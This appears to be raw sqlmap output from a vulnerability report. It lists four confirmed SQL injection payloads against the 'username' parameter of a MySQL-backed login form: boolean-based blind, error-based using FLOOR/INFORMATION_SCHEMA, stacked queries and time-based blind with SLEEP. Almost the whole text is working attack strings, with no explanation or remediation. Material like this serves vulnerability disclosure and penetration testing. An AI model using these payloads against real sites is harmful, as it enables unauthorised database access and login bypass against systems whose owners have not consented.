---
Parameter: username (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)
    Payload: username=test01" AND 3475=3475#&password=123456&submit=Sign in

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=test01" AND (SELECT 8103 FROM(SELECT COUNT(*),CONCAT(0x7170707171,(SELECT (ELT(8103=8103,1))),0x7162766a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- OfZq&password=123456&submit=Sign in

    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (comment)
    Payload: username=test01";SELECT SLEEP(5)#&password=123456&submit=Sign in

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: username=test01" AND SLEEP(5)-- OfBq&password=123456&submit=Sign in
---